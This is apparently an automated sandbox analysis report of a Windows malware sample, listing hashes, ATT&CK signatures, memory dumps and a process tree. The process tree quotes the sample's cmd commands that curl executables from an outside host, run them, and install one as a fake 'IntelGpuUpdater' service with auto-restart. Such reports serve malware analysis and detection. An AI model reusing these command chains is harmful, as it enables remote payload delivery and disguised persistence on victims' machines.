03428e1b9f524d36ba8363eacfed20aee9a03651e0f85827b6d5452b6e4c84ba

Analysis

max time kernel
78s
max time network
16s
platform
windows7_x64
resource
win7-20241010-en
resource tags

arch:x64arch:x86image:win7-20241010-enlocale:en-usos:windows7-x64system
submitted
05-12-2024 07:36

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General

Target

03428e1b9f524d36ba8363eacfed20aee9a03651e0f85827b6d5452b6e4c84ba.exe
Size

5.3MB
MD5

c13d6d5a9aa229499ee0ff1f698a2ee0
SHA1

2a7ac214047525c963cfd8d1be692c50bdbb9c46
SHA256

03428e1b9f524d36ba8363eacfed20aee9a03651e0f85827b6d5452b6e4c84ba
SHA512

5c9e4b30dbd6c5414ea04a70b109e6dc9f8287affe014e47ed0797ff63ac904223751557e44bff99cf8ecfce3c8b748cef55c1d3db88905431f4049039042059
SSDEEP

98304:aOQGc830HeOIk0ons6U523lPWZIERFog7icldle+HJFD4:hrj30qkXnsr2YIIog7if+HJFs

Score

5^/10

discovery

Malware Config

Signatures

Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs

pid	Process
532	03428e1b9f524d36ba8363eacfed20aee9a03651e0f85827b6d5452b6e4c84ba.exe

Drops file in Windows directory 1 IoCs

description	ioc	Process
File created	C:\Windows\IntelGpuUpdater.exe	cmd.exe

System Location Discovery: System Language Discovery 1 TTPs 8 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	03428e1b9f524d36ba8363eacfed20aee9a03651e0f85827b6d5452b6e4c84ba.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
532	03428e1b9f524d36ba8363eacfed20aee9a03651e0f85827b6d5452b6e4c84ba.exe

Suspicious use of WriteProcessMemory 28 IoCs

description	pid	Process	procid_target
PID 532 wrote to memory of 1720	532	03428e1b9f524d36ba8363eacfed20aee9a03651e0f85827b6d5452b6e4c84ba.exe	32
PID 532 wrote to memory of 1720	532	03428e1b9f524d36ba8363eacfed20aee9a03651e0f85827b6d5452b6e4c84ba.exe	32
PID 532 wrote to memory of 1720	532	03428e1b9f524d36ba8363eacfed20aee9a03651e0f85827b6d5452b6e4c84ba.exe	32
PID 532 wrote to memory of 1720	532	03428e1b9f524d36ba8363eacfed20aee9a03651e0f85827b6d5452b6e4c84ba.exe	32
PID 1720 wrote to memory of 2536	1720	cmd.exe	33
PID 1720 wrote to memory of 2536	1720	cmd.exe	33
PID 1720 wrote to memory of 2536	1720	cmd.exe	33
PID 1720 wrote to memory of 2536	1720	cmd.exe	33
PID 532 wrote to memory of 2316	532	03428e1b9f524d36ba8363eacfed20aee9a03651e0f85827b6d5452b6e4c84ba.exe	34
PID 532 wrote to memory of 2316	532	03428e1b9f524d36ba8363eacfed20aee9a03651e0f85827b6d5452b6e4c84ba.exe	34
PID 532 wrote to memory of 2316	532	03428e1b9f524d36ba8363eacfed20aee9a03651e0f85827b6d5452b6e4c84ba.exe	34
PID 532 wrote to memory of 2316	532	03428e1b9f524d36ba8363eacfed20aee9a03651e0f85827b6d5452b6e4c84ba.exe	34
PID 2316 wrote to memory of 2840	2316	cmd.exe	35
PID 2316 wrote to memory of 2840	2316	cmd.exe	35
PID 2316 wrote to memory of 2840	2316	cmd.exe	35
PID 2316 wrote to memory of 2840	2316	cmd.exe	35
PID 532 wrote to memory of 2492	532	03428e1b9f524d36ba8363eacfed20aee9a03651e0f85827b6d5452b6e4c84ba.exe	36
PID 532 wrote to memory of 2492	532	03428e1b9f524d36ba8363eacfed20aee9a03651e0f85827b6d5452b6e4c84ba.exe	36
PID 532 wrote to memory of 2492	532	03428e1b9f524d36ba8363eacfed20aee9a03651e0f85827b6d5452b6e4c84ba.exe	36
PID 532 wrote to memory of 2492	532	03428e1b9f524d36ba8363eacfed20aee9a03651e0f85827b6d5452b6e4c84ba.exe	36
PID 2492 wrote to memory of 2152	2492	cmd.exe	37
PID 2492 wrote to memory of 2152	2492	cmd.exe	37
PID 2492 wrote to memory of 2152	2492	cmd.exe	37
PID 2492 wrote to memory of 2152	2492	cmd.exe	37
PID 532 wrote to memory of 2488	532	03428e1b9f524d36ba8363eacfed20aee9a03651e0f85827b6d5452b6e4c84ba.exe	38
PID 532 wrote to memory of 2488	532	03428e1b9f524d36ba8363eacfed20aee9a03651e0f85827b6d5452b6e4c84ba.exe	38
PID 532 wrote to memory of 2488	532	03428e1b9f524d36ba8363eacfed20aee9a03651e0f85827b6d5452b6e4c84ba.exe	38
PID 532 wrote to memory of 2488	532	03428e1b9f524d36ba8363eacfed20aee9a03651e0f85827b6d5452b6e4c84ba.exe	38

C:\Users\Admin\AppData\Local\Temp\03428e1b9f524d36ba8363eacfed20aee9a03651e0f85827b6d5452b6e4c84ba.exe
"C:\Users\Admin\AppData\Local\Temp\03428e1b9f524d36ba8363eacfed20aee9a03651e0f85827b6d5452b6e4c84ba.exe"
1⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:532
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c cmd /c "cmd /c sc delete IntelGpuUpdater && cmd /c sc stop IntelGpuUpdater && " > NUL 2>&1
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:1720
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c "cmd /c sc delete IntelGpuUpdater && cmd /c sc stop IntelGpuUpdater && "
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2536
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c cmd /c "curl https://dontuseme.ct8.pl/test.exe > %localappdata%\test.exe && start %localappdata%\test.exe && timeout 5 && del %localappdata%\test.exe" > NUL 2>&1
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2316
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c "curl https://dontuseme.ct8.pl/test.exe > C:\Users\Admin\AppData\Local\test.exe && start C:\Users\Admin\AppData\Local\test.exe && timeout 5 && del C:\Users\Admin\AppData\Local\test.exe"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2840
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c cmd /c "del C:\Windows\IntelGpuUpdater.exe && del C:\Windows\IntelGpuUpdaterHelper.exe && curl https://dontuseme.ct8.pl/test.exe > C:\Windows\IntelGpuUpdater.exe && curl https://dontuseme.ct8.pl/nssm.exe > C:\Windows\IntelGpuUpdaterHelper.exe && C:\Windows\IntelGpuUpdaterHelper.exe install IntelGpuUpdater C:\Windows\IntelGpuUpdater.exe && cmd /c sc start IntelGpuUpdater && cmd /c sc failure IntelGpuUpdater reset= 0 actions= restart/5000/restart/5000/restart/5000" > NUL 2>&1
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2492
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c "del C:\Windows\IntelGpuUpdater.exe && del C:\Windows\IntelGpuUpdaterHelper.exe && curl https://dontuseme.ct8.pl/test.exe > C:\Windows\IntelGpuUpdater.exe && curl https://dontuseme.ct8.pl/nssm.exe > C:\Windows\IntelGpuUpdaterHelper.exe && C:\Windows\IntelGpuUpdaterHelper.exe install IntelGpuUpdater C:\Windows\IntelGpuUpdater.exe && cmd /c sc start IntelGpuUpdater && cmd /c sc failure IntelGpuUpdater reset= 0 actions= restart/5000/restart/5000/restart/5000"
    3⤵
    - Drops file in Windows directory
    - System Location Discovery: System Language Discovery
    PID:2152
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c pause
  2⤵
  - System Location Discovery: System Language Discovery
  PID:2488

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/532-0-0x0000000000B19000-0x0000000000E42000-memory.dmp

Filesize
3.2MB

Download
memory/532-8-0x00000000001A0000-0x00000000001A1000-memory.dmp

Filesize
4KB

Download
memory/532-11-0x0000000000B10000-0x0000000001397000-memory.dmp

Filesize
8.5MB

Download
memory/532-10-0x00000000001A0000-0x00000000001A1000-memory.dmp

Filesize
4KB

Download
memory/532-6-0x00000000001A0000-0x00000000001A1000-memory.dmp

Filesize
4KB

Download
memory/532-12-0x0000000000B10000-0x0000000001397000-memory.dmp

Filesize
8.5MB

Download
memory/532-5-0x0000000000190000-0x0000000000191000-memory.dmp

Filesize
4KB

Download
memory/532-3-0x0000000000190000-0x0000000000191000-memory.dmp

Filesize
4KB

Download
memory/532-1-0x0000000000190000-0x0000000000191000-memory.dmp

Filesize
4KB

Download
memory/532-13-0x0000000000B10000-0x0000000001397000-memory.dmp

Filesize
8.5MB

Download
memory/532-14-0x0000000000B19000-0x0000000000E42000-memory.dmp

Filesize
3.2MB

Download